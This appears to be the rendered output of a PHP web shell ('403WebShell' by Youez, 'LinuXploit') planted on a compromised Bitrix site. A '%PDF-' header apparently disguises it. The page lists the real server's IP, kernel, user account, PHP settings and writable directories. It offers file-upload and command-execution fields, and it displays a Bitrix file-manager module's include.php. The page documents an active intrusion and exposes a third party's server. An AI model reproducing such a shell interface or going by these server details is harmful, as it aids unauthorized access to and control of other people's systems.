%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.21.125
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/fileman/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/fileman//include.php
<?
/*patchlimitationmutatormark1*/
CModule::AddAutoloadClasses(
	"fileman",
	array(
		"CLightHTMLEditor" => "classes/general/light_editor.php",
		"CEditorUtils" => "classes/general/editor_utils.php",
		"CMedialib" => "classes/general/medialib.php",
		"CEventFileman" => "classes/general/fileman_event_list.php",
		"CCodeEditor" => "classes/general/code_editor.php",
		"CFileInput" => "classes/general/file_input.php",
		"CMedialibTabControl" => "classes/general/medialib.php",
		"CSticker" => "classes/general/sticker.php",
		"CSnippets" => "classes/general/snippets.php",
		"CAdminContextMenuML" => "classes/general/medialib_admin.php",
		"CHTMLEditor" => "classes/general/html_editor.php",
		"CComponentParamsManager" => "classes/general/component_params_manager.php",
		"CSpellchecker" => "classes/general/spellchecker.php"
	)
);

IncludeModuleLangFile($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/fileman/lang.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin_tools.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/fileman/fileman.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/fileman/properties.php");
/*patchlimitationmutatormark2*/

CJSCore::RegisterExt('file_input', array(
	'js' => '/bitrix/js/fileman/core_file_input.js',
	'lang' => '/bitrix/modules/fileman/lang/'.LANGUAGE_ID.'/classes/general/file_input.php',
	'rel' => array('window') //BX.COpener
));

CJSCore::RegisterExt('map_google', array(
	'js' => '/bitrix/js/fileman/core_map_google.js'
));

CJSCore::RegisterExt('google_loader', array(
	'js' => '/bitrix/js/fileman/google/loader.js',
	'oninit' => function()
	{
		$additionalLang = array(
			'GOOGLE_MAP_API_KEY' => \Bitrix\Fileman\UserField\Address::getApiKey(),
			'GOOGLE_MAP_API_KEY_HINT' => \Bitrix\Fileman\UserField\Address::getApiKeyHint(),
		);

		$trialHint = \Bitrix\Fileman\UserField\Address::getTrialHint();
		if(is_array($trialHint))
		{
			$additionalLang['GOOGLE_MAP_TRIAL_TITLE'] = $trialHint[0];
			$additionalLang['GOOGLE_MAP_TRIAL'] = $trialHint[1];
		}

		return array(
			'lang_additional' => $additionalLang,
		);
	}
));

CJSCore::RegisterExt('google_map', array(
	'js' => '/bitrix/js/fileman/google/map.js',
	'rel' => array('google_loader'),
));

CJSCore::RegisterExt('google_geocoder', array(
	'js' => '/bitrix/js/fileman/google/geocoder.js',
	'rel' => array('google_loader'),
));

CJSCore::RegisterExt('google_autocomplete', array(
	'js' => '/bitrix/js/fileman/google/autocomplete.js',
	'rel' => array('google_loader'),
));

CJSCore::RegisterExt('userfield_address', array(
	'js' => array('/bitrix/js/fileman/userfield/address.js'),
	'css' => array('/bitrix/js/fileman/userfield/address.css'),
	'lang' => '/bitrix/modules/fileman/lang/'.LANGUAGE_ID.'/js_userfield_address.php',
	'rel' => array('uf', 'google_map', 'google_geocoder', 'google_autocomplete', 'popup'),
));

CJSCore::RegisterExt('player', [
	'js' => [
		'/bitrix/js/fileman/player/fileman_player.js',
		'/bitrix/js/fileman/player/videojs/video.js',
	],
	'css' => [
		'/bitrix/js/fileman/player/videojs/video-js.css',
	],
]);

//on update method still not exist
if(method_exists($GLOBALS["APPLICATION"], 'AddJSKernelInfo'))
{
	$GLOBALS["APPLICATION"]->AddJSKernelInfo(
		'fileman',
		array(
			'/bitrix/js/fileman/light_editor/le_dialogs.js', '/bitrix/js/fileman/light_editor/le_controls.js',
			'/bitrix/js/fileman/light_editor/le_toolbarbuttons.js', '/bitrix/js/fileman/light_editor/le_core.js'
		)
	);

	$GLOBALS["APPLICATION"]->AddCSSKernelInfo('fileman',array('/bitrix/js/fileman/light_editor/light_editor.css'));

	// Park new html-editor
	$GLOBALS["APPLICATION"]->AddJSKernelInfo(
		'htmleditor',
		array(
			'/bitrix/js/fileman/html_editor/range.js',
			'/bitrix/js/fileman/html_editor/html-actions.js',
			'/bitrix/js/fileman/html_editor/html-views.js',
			'/bitrix/js/fileman/html_editor/html-parser.js',
			'/bitrix/js/fileman/html_editor/html-base-controls.js',
			'/bitrix/js/fileman/html_editor/html-controls.js',
			'/bitrix/js/fileman/html_editor/html-components.js',
			'/bitrix/js/fileman/html_editor/html-snippets.js',
			'/bitrix/js/fileman/html_editor/html-editor.js'
		)
	);
}

Youez - 2016 - github.com/yon3zu
LinuXploit